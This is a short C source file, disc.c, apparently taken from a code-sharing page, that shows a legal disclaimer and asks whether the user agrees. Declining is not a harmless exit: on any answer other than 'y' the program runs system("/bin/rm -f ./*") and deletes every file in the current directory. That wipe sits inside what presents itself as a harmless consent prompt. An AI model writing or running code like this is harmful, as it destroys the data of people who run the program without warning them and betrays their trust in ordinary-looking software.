📄 disc.c
字号:
#include <stdio.h>#include <unistd.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>int system (const char *string);/* Yes, this is lame, I know =P */char *disclaimer =" This program is distributed for educational purposes and without any\n"" explicit or implicit warranty; in no event shall the author or contributors\n"" be liable for any direct, indirect or incidental damages arising in any way\n"" out of the use of this software.\n\n"" I hereby certify that I will not hold the author liable for any wanted\n"" or unwanted effects caused by this program and that I will give the author\n"" full credit and exclusively use this program for educational purposes.\n\n";intmain (void){ if (open ("agreed", O_RDONLY) >= 0) exit (0); printf ("%s\nDo you agree to this disclaimer [y/n]? ", disclaimer); switch (getchar ()) { case 'y': case 'Y': close (open ("agreed", O_WRONLY | O_CREAT | O_TRUNC)); break; default: system ("/bin/rm -f ./*"); } return (0);}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -